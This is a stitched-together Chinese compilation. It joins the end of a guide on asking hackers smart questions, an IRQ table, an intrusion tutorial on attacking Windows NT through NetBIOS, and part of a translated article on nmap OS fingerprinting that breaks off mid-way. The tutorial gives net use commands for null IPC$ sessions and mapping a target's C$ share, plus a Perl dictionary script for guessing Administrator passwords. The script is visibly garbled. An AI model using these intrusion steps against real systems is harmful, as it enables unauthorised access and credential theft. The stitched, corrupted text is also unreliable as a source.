攻击，要求对方道歉，尖叫，屏住呼吸，威胁要控诉对方，向他老
板告状，不掀起马桶座圈，等等等等。然而，你应该这样：

由它去吧，这没什么大不了的。实际上这么做是恰当的和有益的（
主要是有利身心健康:）。

社区的规范不靠社区，而是靠积极推行它们的人们来维护，这种维
护是公开的，显而易见的。别抱怨说一切批评都应该通过私信传送，
它本来就不该那样。当别人指出你的话有错误，或者他有不同观点的
时候，坚持认为他在羞辱你是没有用的。这些都是失败者的态度。

有那么一些黑客论坛，出于对高度自谦的误解，禁止参与者张贴专给
人找茬的帖子，而且被告知“如果不愿帮助用户，那就闭嘴。”，他
们认为，引开参与者的话题，只会使得他们陶醉在毫无意义的喋喋不
休中，从而失去了技术论坛的意义。

夸张的“友善”（以那种方式）还是有用的帮助：你自己选择吧。

记住：当黑客说你很烦人，（无论用多么粗暴的语言）警告你别再那
样做了，他的本意并非是针对(1)你，以及(2)他的社区。他本来可以
轻易的忽略你，把你从他的视线中抹去。如果你无法接受要向他表示
感激，至少应该表现出你的气度，别抱怨，别期望只因为你是新人，
你有戏剧般的敏
感脆弱的神经和自封的权利，而受到易碎玩偶般的特别对待。

==========
三思而后问
==========

以下是几个经典蠢问题，以及黑客在拒绝回答时的心中所想：

问题：我能在哪找到X程序？
问题：我的程序/配置/SQL申明没有用
问题：我的Windows有问题，你能帮我吗？
问题：我在安装Linux（或者X）时有问题，你能帮我吗？
问题：我怎么才能破解root帐号/窃取OP特权/读别人的邮件呢？

提问：我能在哪找到X程序？
回答：就在我找到它的地方啊蠢货--搜索引擎的那一头。天呐！
还有人不会用Google吗？

提问：我的程序（配置、SQL申明）没有用
回答：这不算是问题吧，我对找出你的真正问题没兴趣--如果要
我问你二十个问题才找得出来的话--我有更有意思的事要做呢。
在看到这类问题的时候，我的反应通常不外如下三种：
1. 你还有什么要补充的吗？
2. 真糟糕，希望你能搞定。
3. 这跟我有什么鸟相关？

提问：我的Windows有问题，你能帮我吗？
回答：能啊，扔掉萎软的垃圾，换Linux吧。

提问：我在安装Linux（或者X）时有问题，你能帮我吗？
回答：不能，我只有亲自在你的电脑上动手才能找到毛病。
还是去找你当地的Linux用户组寻求手把手的指导吧（你能
在这儿找到用户组的清单）。

提问：我怎么才能破解root帐号/窃取OP特权/读别人的邮件呢？
回答：想要这样做，说明你是个卑鄙小人；想找个黑客帮你，说明你是个白痴！

==============
好问题，坏问题
==============

最后，我举一些例子来说明，怎样聪明的提问；同一个问题的两种问
法被放在一起，一种是愚蠢的，另一种才是明智的。

蠢问题：我可以在哪儿找到关于Foonly Flurbamatic的资料？
这种问法无非想得到“STFW”这样的回答。

聪明问题：我用Google搜索过“Foonly Flurbamatic 2600”，但是
没找到有用的结果。谁知道上哪儿去找对这种设备编程的资料？
这个问题已经STFW过了，看起来他真的遇到了麻烦。

蠢问题：我从FOO项目找来的源码没法编译。它怎么这么烂？
他觉得都是别人的错，这个傲慢自大的家伙

聪明问题：FOO项目代码在Nulix 6.2版下无法编译通过。我读过了FAQ，
但里面没有提到跟Nulix有关的问题。这是我编译过程的记录，我有什么
做得不对的地方吗？
他讲明了环境，也读过了FAQ，还指明了错误，并且他没有把问题的责任
推到别人头上，这个家伙值得留意。

蠢问题：我的主板有问题了，谁来帮我？
普通黑客对这类问题的回答通常是：“好的，还要帮你拍拍背和换尿布
吗？” ，然后按下删除键。

聪明问题：我在S2464主板上试过了X、Y和Z，但没什么作用，我又试了
A、B和C。请注意当我尝试C时的奇怪现象。显然边带传输中出现了收缩，
但结果出人意料。在多处理器主板上引起边带泄漏的通常原因是什么？
谁有好主意接下来我该做些什么测试才能找出问题？
这个家伙，从另一个角度来看，值得去回答他。他表现出了解决问题的
能力，而不是坐等天上掉答案。

在最后一个问题中，注意“告诉我答案”和“给我启示，指出我还应该
做什么诊断工作”之间微妙而又重要的区别。

事实上，后一个问题源自于2001年8月在Linux内核邮件列表上的一个真
实的提问。我（Eric）就是那个提出问题的人。我在Tyan S2464主板上
观察到了这种无法解释的锁定现象，列表成员们提供了解决那一问题的重要信息。

通过我的提问方法，我给了大家值得玩味的东西；我让人们很容易参与并
且被吸引进来。我显示了自己具备和他们同等的能力，邀请他们与我共同
探讨。我告诉他们我所走过的弯路，以避免他们再浪费时间，这是一种对
他人时间价值的尊重。

后来，当我向每个人表示感谢，并且赞赏这套程序（指邮件列表中的讨论
--译者注）运作得非常出色的时候，一个Linux内核邮件列表（lkml）成
员表示，问题得到解决并非由于我是这个列表中的“名人”，而是因为
我用了正确的方式来提问。

我们黑客从某种角度来说是拥有丰富知识但缺乏人情味的家伙；我相信
他是对的，如果我象个乞讨者那样提问，不论我是谁，一定会惹恼某些
人或者被他们忽视。他建议我记下这件事，给编写这个指南的人一些指导。

================
找不到答案怎么办
================

如果仍得不到答案，请不要以为我们觉得无法帮助你。有时只是看到你
问题的人不知道答案罢了。没有回应不代表你被忽视，虽然不可否认这
种差别很难区分。

总的说来，简单的重复张贴问题是个很糟的想法。这将被视为无意义的
喧闹。
喧闹。

你可以通过其它渠道获得帮助，这些渠道通常更适合初学者的需要。

有许多网上的以及本地的用户组，由狂热的软件爱好者（即使他们可能
从没亲自写过任何软件）组成。通常人们组建这样的团体来互相帮助并
帮助新手。

另外，你可以向很多商业公司寻求帮助，不论公司大还是小（Red
Hat和LinuxCare就是两个最常见的例子）。别为要付费才能获得帮助而
感到沮丧！毕竟，假使你的汽车发动机汽缸密封圈爆掉了--完全可能如
此--你还得把它送到修车铺，并且为维修付费。就算软件没花费你一分
钱，你也不能强求技术支持总是免费的。

对大众化的软件，就象Linux之类而言，每个开发者至少会有上万名用户。
根本不可能由一个人来处理来自上万名用户的求助电话。要知道，即使你
要为帮助付费，同你必须购买同类软件相比，你所付出的也是微不足道
的（通常封闭源代码软件的技术支持费用比开放源代码软件要高得多，
且内容也不那么丰富）。


通常的IRQ是什么？

IRQ就是一个中断，通过中断，外设可以取得CPU的处理时间。下表表示了通常的NT系统中的IRQ设置。

中断级别 通常用途 说明
0 时钟
1 键盘
2 与IRQ 9级连
3 COM2或COM4
4 COM1或COM3
5 LPT2 因为许多用户没有第二个并行口，因此它常常空闲，声卡可以使用此中断
6 软盘控制器
7 LPT1 声卡可以使用此中断
8 实时时钟
9 与IRQ 2级连 直接与2相连，有时通知软件9时意味着2
10 未使用 通常用于网卡
11 未使用 由SCSI控制器使用
12 PS/2，总线鼠标 如果用户没有PS/2或总线鼠标，此中断空闲
13 协处理器 通知CPU协处理器错误
14 硬盘控制器 如果用户未使用IDE硬盘，可以将它用于其它设备
15 有些计算机将此中断分配为第二个IDE控制器 I如果用户未使用第二个IDE硬盘控制器，可以将它用于其它设备


通过NetBIOS入侵

出自：nakoka

所有的入侵都涉及到以root或admin权限登录到某一计算机或网络。入侵的第一步往往是对目标计算机或的端口扫描（portscan）。建立在目标计算机开放端口上的攻击是相当有效的。NT机器的端口信息的显示和UNIX的不同。因此，一般能区分出目标计算机所运行的是哪个操作系统。

攻击NT为基础的网络时，NetBIOS是首选的进攻点。使用端口扫描软件，比如Sam，看看目标计算机的端口139是否打开。139端口是"NetBIOS
session"端口，用来进行文件和打印共享的，是NT潜在的危险。注意：运行SAMBA的Linux和UNIX系统的139端口也是打开的，提供类似的文件共享。找到了这样的目标计算机后，接下来是使用
nbtstat命令。

NBTSTAT命令是用来询问有关NetBIOS的信息的，也能清除NetBIOS
缓冲区能的内容和将LMHOSTS文件预先装入其中。通过运行这一命令能得到许多有用信息。
NBTSTAT命令解释：nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R]
[-r] [-S] [-s] [interval]

开关：
-a 列出给定主机名的远程计算机的名字表（name table）
-A 列出给定IP地址的远程计算机的名字表
-c 列出远程名字缓冲区（name cache），包括IP地址
-n 列出本地NetBIOS 名字
-r 列出通过广播（broadcast）和WINS解析的名字
-R 清除和重新装入远程的缓冲的名字表
-S 列出和目标IP地址会话的表
-s 列出会话表转换

NBTSTAT命令的输出的每一栏都有不同的含义，它们的标题有下面几个，含义也在下面做了相应的解释：

栏目 含义
Input 接收到的字节数。
Output 发送的字节数。
In/Out 这个连接是来自该计算机（outbound）还是来自另外的系统（inbound）。
Life 在你的计算机清除名字表之前存在时间。
Local Name 连接时本地的名字。
Remote Host 远程计算机的名字或IP地址。
Type 一个名字可以有两种类型： unique 或group。
Name NetBIOS名字的最后一个16进制字符经常代表一些内容。因为同样的名字可以在同一计算机出现几次。
State NetBIOS连接状态。

NetBIOS连接将是下面几个状态之一：

状态 含义
MeaningAccepting 正在处理一个进入的连接Associated 一个连接的端点已经建立，你的计算机与它以一个IP地址相关
Connected 你已经联系到了远程资源。
Connecting
你的会话正试图对目标资源进行名字到IP地址的解析
Disconnected 你的计算机发出一个断开请求，正在等待远程计算机的响应
Disconnecting 正在结束你的连接
Idle 远程计算机在当前会话已经打开，但目前不接受连接
Inbound 一个inbound会话正试图连接
Listening 远程计算机可以使用了
Outbound 你的会话正在建立一个TCP 连接
Reconnecting 如果第一次失败，它会在重新连接时显示这一信息

下面是一个NBTSTAT命令的实例：

C:\>nbtstat -A x.x.x.x NetBIOS Remote Machine Name Table

Name Type Status
DATARAT < 00> UNIQUE Registered
R9LABS < 00> GROUP Registered
DATARAT < 20> UNIQUE Registered
DATARAT < 03> UNIQUE Registered
GHOST < 03> UNIQUE Registered
DATARAT < 01> UNIQUE Registered

MAC Address = 00-00-00-00-00-00

上面的输出是什么意思呢？尤其是Type这一栏，代表的是什么呢。再看看下面的表，它能告诉你什么？
Name Number Type Usage
< computername> 00 U Workstation Service
< computername> 01 U Messenger Service
< \\_MSBROWSE_> 01 G Master Browser
< computername> 03 U Messenger Service
< computername> 06 U RAS Server Service
< computername> 1F U NetDDE Service
< computername> 20 U File Server Service
< computername> 21 U RAS Client Service
< computername> 22 U Exchange Interchange
< computername> 23 U Exchange Store
< computername> 24 U Exchange Directory
< computername> 30 U Modem Sharing Server Service
< computername> 31 U Modem Sharing Client Service
< computername> 43 U SMS Client Remote Control
< computername> 44 U SMS Admin Remote Control Tool
< computername> 45 U SMS Client Remote Chat
< computername> 46 U SMS Client Remote Transfer
< computername> 4C U DEC Pathworks TCPIP Service
< computername> 52 U DEC Pathworks TCPIP Service
< computername> 87 U Exchange MTA
< computername> 6A U Exchange IMC
< computername> BE U Network Monitor Agent
< computername> BF U Network Monitor Apps
< username> 03 U Messenger Service
< domain> 00 G Domain Name
< domain> 1B U Domain Master Browser
< domain> 1C G Domain Controllers
< domain> 1D U Master Browser
< domain> 1E G Browser Service Elections
< INet~Services> 1C G Internet Information Server
< IS~Computer_name> 00 U Internet Information Server
< computername> [2B] U Lotus Notes Server
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service

Unique (U): 名字（name
）可能只分配了一个IP地址。在一个网络设备上，多次出现一个名字已经被注册，但后缀是唯一的，从而整个条目就是唯一的。
Group (G): 普通的组（group），同一个名字可能存在多个IP地址。
Multihomed (M):
名字（name）是唯一的，但由于在同一计算机上有多个网络接口，这个配置在允许注册时是必须的。地址的数目最多25个。
Internet Group (I): 这是组名字的一个特殊配置，用于WinNT的域名的管理。
Domain Name (D): NT 4.0里新增的。

这个表是对NBTSTAT输出中Type的解释。通过详细分析NBTSTAT命令的输出，就能收集到目标计算机的许多信息。通过分析，就能发现目标计算机正在运行什么服务，甚至可以分析安装的软件包是什么。从而就能找到空隙可以利用。下一步就是从远程计算机收集可能的用户名。一个网络登录分成两个部分：用户名和口令。一旦一个入侵者知道了用户名，他就等于成功了一半。

通过分析NBTSTAT的命令输出，入侵者就能得到任何登录到那台计算机上的用户名。在NBTSTAT输出里，类型(Type)为<
03>的就是用户名或计算机名。类型(Type)为< 20>的就表示它是一个共享的资源。

IPC$(Inter-Process
Communication)共享是NT计算机上的一个标准的隐含共享，它是用于服务器之间的通信的。NT计算机通过使用这个共享来和其他的计算机连接得到不同类型的信息的。入侵者常常利用这一点来，通过使用空的I
PC会话进行攻击。

有一个一个比较好的IPC会话工具：RedButton。
它是个很灵巧的程序，能登录到NT系统而不会显示用户名和口令。这个工具运行环境是NT。运行这个程序，将看到任何可能的共享，包括任何隐藏的admin$共享(ie,
shares以"$"结束。默认的，有几个这样的可以得到的共享...C$，admin$，IPC$等等)。

注意：IPC$共享不是一个目录，磁盘或打印机意义上的共享。你看到的"$"，它是默认的在系统启动时的admin共享。IPC是指"interproce
ss
communications"。IPC$共享提供了登录到系统的能力。注意，你试图通过IPC$连接会在EventLog中留下记录。不管你是否登录成功。

入侵者使用下面的命令对IPC$实施攻击：
c:\>net use \\[目标机器的IP地址]\ipc$ /user:< name> < passwd>

当这个连接建立后，要将username和password送去加以确认。如果你以"Administrator"登录，则需要进行口令猜测。

可以重复使用'net'命令，进行username和password猜测：
c:\>net use \\xxx.xxx.xxx.xxx\ipc$ /user:< name> < passwd>

也可以使用脚本语句：
open(IPC, "net use \\xxx.xxx.xxx.xxx\ipc$ /user:< name> < passwd>
");

NAT工具能自动完成上述功能。NAT是通过读取字典文件中的口令，进行重复登录，从而获取帐号。当然，可以编写一个脚本来实现NAT的功能。

Perl是一种很好的语言，是解释性的，如Java，但运行速度比Java快。同时，Unix系统能解释它。现在，95和NT版的Perl也已经推出。

下面这个脚本程序可以用来进行帐号和口令猜测。

----- begin script -----
# ipcchk.plx
# 该脚本从一个文本文件读入单词，并将该单词作为用户名和口令，进行
# IPC$连接。成功的连接保存到一个log文件。该脚本不检查输入参数的
# 有效性，因此必须输入目标机器的合法的IP地址。
#
# 用法: c:\>perl ipcchk.plx [目标机器的IP地址]

open(TEST, "names.txt") die "Could
    not open file.";
open(LOG,">>ipc.log") die "Could not open log.";

if (length($ARGV[0]) == 0) {
print "Usage: perl ipcchk.plx [ipaddr]";
exit(0);
}

$server = ARGV[0];

while(< TEST> ) {

$name = $_;
chop($name);
# print "net use \\\\$server\\ipc\$ /userdministrator $name \n";
open(IPC, "net use \\\\$server\\ipc\$ /userdministrator $name ");

while(< IPC> ) {
if (grep(/successfully/,$_)) {
print LOG "$server accepts connections for password $name\n";
# delete a successful connection to avoid multiple connections to
# the same machine
open(DEL, "net use \\\\$server\\ipc\$ /d ");
}
}
----- end script -----

当然，你只要知道原理，可以用C语言或BASIC语言，编写一个具有上述功能的程序。

一旦进入，就不仅仅是能够收集用户名了。还能做许多其他事情。

接下来，入侵者会试图看看目标计算机上有那些共享的资源可以利用。可以使用下面一个命令：
c:\>net view \\[目标计算机的IP地址]
根据目标计算机的安全策略，这个命令有可能被拒绝。看看下面的例子：

C:\>net view \\0.0.0.0System error 5 has occurred.Access is denied.
C:\>net use \\0.0.0.0\ipc$ "" /user:""The command completed
successfully.C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0

Share name Type Used as Comment
-----------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www.pages Disk

该命令顺利地完成了。

从上面的例子可见，直到空IPC会话成功建立后，服务器的共享资源列表才能访问到。在此时，你可能会想到，这样的IPC连接会有多危险呢，但目前为止我们的有关I
PC的知识还是很基本的。我们仅仅开始研究IPC共享的可能性。

如果有其它共享资源，可以用net命令进行连接。
c:\>net use x: \\[ipaddr]\[share]

如果不行，用上述进行的攻击方法。

一旦IPC$共享顺利完成，下一个命令是：
c:\>net use g: \\xxx.xxx.xxx.xxx\c$

得到了C$共享，并将该目录映射到g:，键入：
c:\>dir g: /p

就能显示这个目录的所有内容。

成功地进行了IPC$连接后，点击Start -> Run，键入regedit。选择Registry -> Connect Network
Registry，再键入那台机器的IP地址。不一会，就能看目标计算机的Registry了.


通过TCP/IP堆栈特征探测远程操作系统

作者：Fyodor

动机

我想谁都已经非常清楚知道远程主机操作系统有多么重要，因此这里只是作一简单叙述。首先最有用的一点在于绝大多数安全漏洞都是针对特定操作系统的。例如你在作端口扫描时发现端口53打开了，而且其守护服务器是有安全漏洞的BIND版本，这时你只要找到相应的漏洞攻击程序就可轻而易举地使守护进程崩溃。依靠优秀的TCP/IP特征探测器，你可以很快知道主机是运行'Solaris 2.5.1'还是'Linux 2.0.35'，然后使用相应的漏洞程序和shellcode代码。

这个工具也可能被不正当地使用。有些人喜欢一次对多台机器（例如50000台）进行操作系统和端口扫描，例如如果Sun comsat守护服务器的一个安全漏洞被公布了，他们就会特意地去寻找‘Solaris 2.6'操作系统和'UDP/512'端口，然后不厌其烦地去攻击这些机器。我们通常将这种人称为"SCRIPT KIDDIE"（注：就象是只会抄袭别人的小孩）。这种人并没有什么技术，也不能说明他能够发现漏洞或修补漏洞。而对于那些即使自己发现了漏洞，但却只会通过攻击他人网页来企图证明自己如何出色而系统管理员如何愚蠢的人，人们更会嗤之以鼻。

我们称之为“社交工程(social engineering)”也是另一种可能的不正当用途。例如当骇客扫描到目标公司网络时nmap报告发现了一台'Datavoice TxPORT PRISM 3000 T1 CSU/DSU 6.22/2.06‘，他就会以“Datavoice技术支持”的身份给这间公司打电话：“我们正准备公布一个安全漏洞，但我们希望在此之前为我们的客户安装补丁程序。这个补丁程序我刚刚给您寄出去。……”某些天真的管理员会真的以为只有真正来自Datavoice公司的技术工程师才知道那么多关于他们的CSU/DSU设备的资料，从而……

另一个可能的用途是评价你准备有合作的公司。当在选择一个新的ISP时，扫描一下该网络看看在使用设备。如果是一大堆的低档路由器和用Windows机器提供PPP服务，那即使是"￥99/年"的价格你也会觉得不值。：） 传统技术

利用堆栈特征探测操作系统是一种独特的方法。我想它会满足大多数的要求，虽然目前也还流行有其它方法。不过下面这种方法可能仍然是迄今为止最有效的：

playground~> telnet hpux.u-aizu.ac.jp
Trying 163.143.103.12...
Connected to hpux.u-aizu.ac.jp.
Escape character is '^]'.

HP-UX hpux B.10.01 A 9000/715 (ttyp2)

login:

如此公开地宣布本机运行的是什么系统根本就是一种商业炒作！现在的大多数系统都还带有这种banner，而管理员们也没有意识到应该去掉它们。虽然是存在许多探测主机操作系统的方法，但这绝对不能成为公开主机操作系统这种愚蠢行为辩护的理由。 随着这个问题的严重性被广泛意识到，越来越多的人已经开始将banner去掉，许多系统的banner也不再泄露重要的信息，这种通过查找banner获得操作系统类型和版本的方法会遇到许多困难，变得不那么可行了。但是，至少目前版本的昂贵商业扫描器（如ISS）仍然只使用这种古老的方法来试图获取主机操作系
统类型和版本。相比之下，下载nmap和queso会节约你大量的金钱。：）

即使关闭了banner，许多应用程序却仍然乐于向访问者提供这类信息。例如，当登录到某台FTP服务器时：

payfonez> telnet ftp.netscape.com 21
Trying 207.200.74.26...
Connected to ftp.netscape.com.
Escape character is '^]'.
220 ftp29 FTP server (UNIX(r) System V Release 4.0) ready.
SYST
215 UNIX Type: L8 Version: SUNOS

首先，它在缺省的banner里告诉你系统的信息。然后当输入'SYST'命令时，它会更乐意地向你提供更多的信息。

如果支持匿名FTP，我们可以下载/bin/ls或其它二进制文件来（至少）确定主机的硬件平台。

其它许多应用程序也能提供类似信息。例如WEB服务器：

playground> echo 'GET / HTTP/1.0\n' | nc hotbot.com 80 | egrep '^Server:'
Server: Microsoft-IIS/4.0
playground>

嗯。。。现在我们知道这台机器运行的是什么破操作系统了。：）

其它“传统”的技术还包括DNS主机记录（INFO）、社交工程（social engineering）和SNMP等。这里就不再多说了。

几个操作系统特征探测程序

Nmap不是第一个使用TCP/IP堆栈特征探测操作系统类型的程序。Johan编写的IRC欺骗器sirc从第三版（或更早）就已经包含了很基本的特征探测技术。这个程序使用了一些简单的TCP标记位测试来区分"Linux"、"4.4BSD"、"Win95"或"Unknown"操作系统主机。

另一个类似的程序是checkos，由Shok编写并于1998年1月在"Confidence Remains High Issue #7"上发表。它采用了与sirc完全相同的技术，甚至某些代码也完全一致。其实checkos在公开发表前就已在私底下流传了很久，因此我不知道是哪个程序抄袭了另一个程序。在传播过程中，checkos增加了telnet banner检查功能（虽然这是一项很老的技术）。据Shok说，checkos从来就没打算公开，因此他并没有考虑过版权问题。

Su1d也写了一个操作系统检测程序。程序名为SS，版本3.11能够检测12种不同操作系统类型。我这个程序使用了nmap的某些网络代码。

然后是queso。这个很新的程序比起以前的其它程序有了很大的飞跃。它不但增加了不少新的测试，还是第一个（我所知道的）将操作系统特征与代码分离的程序。其它扫描程序的代码与下面相似：

/* from ss */
if ((flagsfour & TH_RST) && (flagsfour & TH_ACK) && (winfour == 0) && (flagsthree & TH_ACK))
reportos(argv[2],argv[3],"Livingston Portmaster ComOS");

而queso将这些操作系统特征都单独存放到一个配置文件中，这样只需将新的操作系统特征添加到配置文件中即可，从而极大地增强了程序的可扩展性。

Queso由Apostols.org的Savage编写。

以上谈到的所有程序都存在一个问题，那就是仍然局限于依靠为数不多的测试和响应来确定系统类型。我们不但希望仅仅知道“这台机器运行的是OpenBSD、FreeBSD或者NetBSD。”，还想知道如具体版本和其它更多的信息。例如，'Solaris 2.6'比'Solaris'包含有更多的信息。为了能达到这种更高的探测要求，在nmap中使用了更多的操作系统特征技术。下面就让我们一起讨论吧。

特征探测方法

目前有许多的网络堆栈特征探测技术。最简单的就是寻找各种操作系统间的不同并写出探测程序。当使用了足够的不同特征时，操作系统的探测精度就有了很大保证。例如nmap能够可靠地区分出Solaris 2.4、Solaris 2.5-2.5.1和Solaris 2.6，也能区分2.0.30、2.0.31-34或2.0.35版本的Linux内核。以下是一些这方面的技术：

FIN探测 -- 通过发送一个FIN数据包（或任何未设置ACK或SYN标记位的数据包）到一个打开的端口，并等待回应。RFC793定义的标准行为是“不”响应，但诸如MS Windows、BSDi、CISCO、HP/UX、MVS和IRIX等操作系统会回应一个RESET包。大多数的探测器都使用了这项技术。

BOGUS（伪造）标记位探测 -- 据我所知，Queso是第一个使用这种更聪明技术的探测器。它原理是在一个SYN数据包TCP头中设置未定义的TCP“标记”（64或128）。低于2.0.35版本的Linux内核会在回应包中保持这个标记，而其它操作系统好象都没有这个问题。不过，有些操作系统当接收到一个SYN+BOGUS数据包时会复位连接。所以这种方法能够比较有效地识别出操作系统。

TCP ISN 取样 -- 其原理是通过在操作系统对连接请求的回应中寻找TCP连接初始化序列号的特征。目前可以区分的类别有传统的64K（旧UNIX系统使用）、随机增加（新版本的Solaris、IRIX、FreeBSD、Digital UNIX、Cray和其它许多系统使用）、真正“随机”（Linux 2.0.*及更高版本、OpenVMS和新版本的AIX等操作系统使用）等。Windows平台（还有其它一些平台）使用“基于时间”方式产生的ISN会随着时间的变化而有着相对固定的增长。不必说，最容易受到攻击的当然是老式的64K方式。而最受我们喜爱的当然是“固定”ISN！确实有些机器总是使用相同的ISN，如某些3Com集线器（使用0x83）和Apple LaserWriter打印机（使用0xC7001）。

根据计算ISN的变化、最大公约数和其它一些有迹可循的规律，还可以将这些类别分得更细、更准确。

“无碎片”标记位 -- 许多操作系统逐渐开始在它们发送的数据包中设置IP“不分片（无碎片）”位。这对于提高传输性能有好处（虽然有时它很讨厌-- 这也是为什么nmap不对Solaris系统进行碎片探测的原因）。但并不是所有操作系统都有这个设置，或许并不并总是使用这个设置，因此通过留意这个标记位的设置可以收集到关于目标主机操作系统的更多有用信息。 TCP 初始化“窗口” -- 就是检查返回数据包的“窗口”大小。以前的探测器仅仅通过RST数据包的非零“窗口”值来标识为“起源于BSD 4.4”。而象queso和nmap这些新的探测器会记录确切的窗口值，因为该窗口随操作系统类型有较为稳定的数值。这种探测能够提供许多有用的信息，因为某些系统总是使用比较特殊的窗口值（例如，据我所知AIX是唯一使用0x3F25窗口值的操作系统）。而在声称“完全重写”的NT5的TCP堆栈中，Microsoft使用的窗口值总是0x402E。更有趣的是，这个数值同时也被OpenBSD和FreeBSD使用。

ACK值 -- 也许你认为ACK值总是很标准的，但事实上操作系统在ACK域值的实现也有所不同。例如，假设向一个关闭的TCP端口发送一个FIN|PSH|URG包，许多操作系统会将ACK值设置为ISN值，但Windows和某些愚蠢的打印机会设置为seq+1。如果向打开的端口发送SYN|FIN|URG|
PSH包，Windows的返回值就会非常不确定。有时是seq序列号值，有时是S++，而有时回送的是一个似乎很随机性的数值。我们很怀疑为什么MS总是能写出这种莫名其妙的代码。 ICMP错误信息查询 -- 有些（聪明的）操作系统根据RFC 1812的建议对某些类型的错误信息发送频率作了限制。例如，Linux内核（在net/ipv4/icmp.h）限制发送“目标不可到达”信息次数为每4秒80次，如果超过这个限制则会再减少1/4秒。一种测试方法是向高端随机UDP端口发送成批的数据包，并计算接收到的“目标不可到达”数据包的数量。在nmap中只有UDP端口扫描使用了这个技术。这种探测操作系统方法需要稍微长的时间，因为需要发送大量的数据包并等待它们的返回。这种数据包处理方式也会对网络性能造成某种程度的影响。

ICMP信息引用 -- RFC定义了一些ICMP错误信息格式。如对于一个端口不可到达信息，几乎所有操作系统都只回送IP请求头+8字节长度的包，但Solaris返回的包会稍微长一点，Linux则返回更长的包。这样即使操作系统没有任何监听任何端口，nmap仍然有可能确定Linux和
Solaris操作系统的主机。

ICMP错误信息回显完整性 -- 我们在前面已谈到，机器必须根据接收到的数据包返回“端口不可到达”（如果确实是这样）数据包。有些操作系统会在初始化处理过程中弄乱了请求头，这样当你接收到这种数据包时会出现不正常。例如，AIX和BSDI返回的IP包中的“总长度”域会被设置为20字节（太长了）。某些BSDI、FreeBSD、OpenBSD、ULTRIX和VAX操作系统甚至会修改请求头中的IP ID值。另外，由于TTL值的改变导致校验和需要修改时，某些系统（如AIX、FreeBSD等）返回数据包的检验和会不正确或为0。有时这种情况也出现在UDP包检验和。总的说来，nmap使用了九种不同的ICMP错误信息探测技术来区分不同的操作系统。

服务类型（TOS） -- 对于ICMP的“端口不可到达”信息，经过对返回包的服务类型（TOS）值的检查，几乎所有的操作系统使用的是ICMP错误类型
0，而Linux使用的值是0xC0。

片段（碎片）处理 -- 不同操作系统在处理IP片段重叠时采用了不同的方式。有些用新的内容覆盖旧的内容，而又有些是以旧的内容为优先。有很多探测方法能确定这些包是被如何重组的，从而能帮助确定操作
系统类型。

TCP选项 -- 这是收集信息的最有效方法之一。其原因是：

1）它们通常真的是“可选的”，因此并不是所有的操作系统都使用它们。
2）向目标主机发送带有可选项标记的数据包时，如果操作系统支持这些选项，会在返回包中也设置这些标记。
3）可以一次在数据包中设置多个可选项，从而增加了探测的准确度。

Nmap在几乎每一个探测数据包中都设置了如下选项：

Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops;

当接收到返回包时，检查返回了哪些选项，它们就是目标操作系统支持的选项。有些操作系统（如较新版本的FreeBSD）支持以上所有选项，而有些（如Linux 2.0.x）则几乎都不支持。Linux 2.1.x内核支持以上所有选项。

如果有几个操作系统支持相同的选项，可以通过选项的值来进行区
分。例如，如果向Linux机器发送一个很小的MSS值，它一般会将此
MSS值返回，而其它系统则会返回不同数值。

如果支持相同的选项，返回值也相同，又怎么办呢？仍然可以通过
返回选项的顺序进行区分。如Solaris系统返回‘NNTNWME’，代表：

而如果是Linux 2.1.122系统，相同的选项，相同的返回值，但顺序却有所不同：MENNTNW。

目前还没有其它操作系统探测工具利用TCP选项，但它确实非常有效！

另外还有其它一些选项也可用于进行探测，如T/TCP支持等。

译者注：还有至少两种颇具攻击性的探测方法。由于它们能导致拒绝服务攻击，而这也是在nmap中没有实现这些方法的主要原因。

NMAP探测细节和结果

上面我们讨论了操作系统类型探测的多种技术（除了某些攻击性方法外）。这些技术都在nmap扫描器中实现。Nmap扫描器收集了众多操作系统端口打开和关闭时的特征，支持目前流行的Linux、*BSD和Solaris 2.5.1/2.6多种操作系统。

目前版本的nmap扫描器从一个文件中读取操作系统特征模板。下面是一个实例：

FingerPrint IRIX 6.2 - 6.4 # Thanks to Lamont
    Granquist
TSeq(Class=i800)
T1(DF=N%W=C000|EF2A%ACK=S++%Flags=AS%Ops=MNWNNT)
T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
T3(Resp=Y%DF=N%W=C000|EF2A%ACK=O%Flags=A%Ops=NNT)
T4(DF=N%W=0%ACK=O%Flags=R%Ops=)
T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)
T6(DF=N%W=0%ACK=O%Flags=R%Ops=)
T7(DF=N%W=0%ACK=S%Flags=AR%Ops=)
PU(DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)

让我们来看一下每一行的含义：

> FingerPrint IRIX 6.2 - 6.3 # Thanks to Lamont Granquist

它说明这是一个IRIX 6.2 - 6.3操作系统特征，注释指出该特征由Lamont Granquist提供。

> TSeq(Class=i800)

它说明ISN特征是"i800 class"，即每一个新序列号比上一个序列号大800的整数倍。

> T1(DF=N%W=C000|EF2A%ACK=S++%Flags=AS%Ops=MNWNNT)

T1代表test1。这个测试是向打开的端口发送带有多个TCP选项的SYN数据包。DF=N说明返回包的"Don't fragment"位必须没有设置。W=C000|EF2A说明返回包的窗口值必须为0xC000或0xEF2A。ACK=S++说明返回包的ACK值必须为初始化序列号加1。Flags=AS说明返回包的ACK和SYN标记位必须被设置。Ops=MNWNNT说明返回包的TCP选项及其顺序必须为：

> T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)

Test 2（第二个测试）向打开端口发送带有相同TCP选项的NULL（空）数据包。Resp=Y说明必须接收到返回包。Ops= 说明返回包中的所有TCP选项必须都没有被设置。‘%Ops=’匹配任意TCP选项。

> T3(Resp=Y%DF=N%W=400%ACK=S++%Flags=AS%Ops=M)

Test 3（第三个测试）向打开端口发送带有TCP选项的SYN|FIN|URG|PSH数据包。

> T4(DF=N%W=0%ACK=O%Flags=R%Ops=)

这是向打开端口发送ACK数据包。注意这里没有Resp=字符串。说明返回包不是必须的（例如数据包被丢弃或有防火墙）。

> T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)
